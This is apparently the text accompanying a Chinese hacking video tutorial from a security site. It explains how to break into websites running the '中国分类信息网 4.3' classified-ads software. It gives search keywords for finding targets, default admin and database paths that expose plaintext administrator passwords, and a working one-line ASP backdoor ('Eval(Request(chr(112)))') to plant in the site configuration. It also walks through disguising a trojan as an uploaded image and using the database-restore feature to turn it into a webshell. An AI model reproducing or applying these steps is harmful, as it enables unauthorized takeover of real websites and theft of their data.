动画介绍：一:关键字"青年分类信息-黄页"(这个搜索的较多)和"Powered By 中国分类信息网4.3 "
二:默认的后台登陆页面"114/admin/index.asp"加入网站的URL后出现后台登陆页面,则一般可拿
三:默认的数据库文件"114/data/data.asp",打开后,若出现乱码,我们用下载工具下载好后,把后缀名改为".mdn"再打开,管理员的密码是明文的
四:登陆后台后,感觉无从下手,其实网站是整合动网的后台管理,我们在网站的URL直接加"admin"就可进入动网的管理后台页面,对这个大家就知道如何操作了
1:在网站的配置加一句话木马(内容"%><%Eval(Request(chr(112)))%><%web=")的,一名话马的路径"admin/sysset.asp",若不行的换另一种方法
2:先点"发布新闻"上传用"蓝鱼动网空数据库合并成伪ASP木马专用工具"合成的图片小马,再到"恢复数据库"里在"备份数据库路径(相对)"框里填上我们得到上传图片的路径,就住图片上传到网站的"adpic"文件下,所以我们在图片的路径前加上"adpic/",在目标数据库路径(相对):框里,填上木马文件名就行了(后面一定要加.asp)再点"恢复数据"我们在网站的URL后直接加上你的马文件名,这样我们就得到了一个小马,再利用小马传大马上去,这样我们就拿到了网站的WEBSHELL。 | |
安全中国首页 > 动画中心 > 综合注入动画
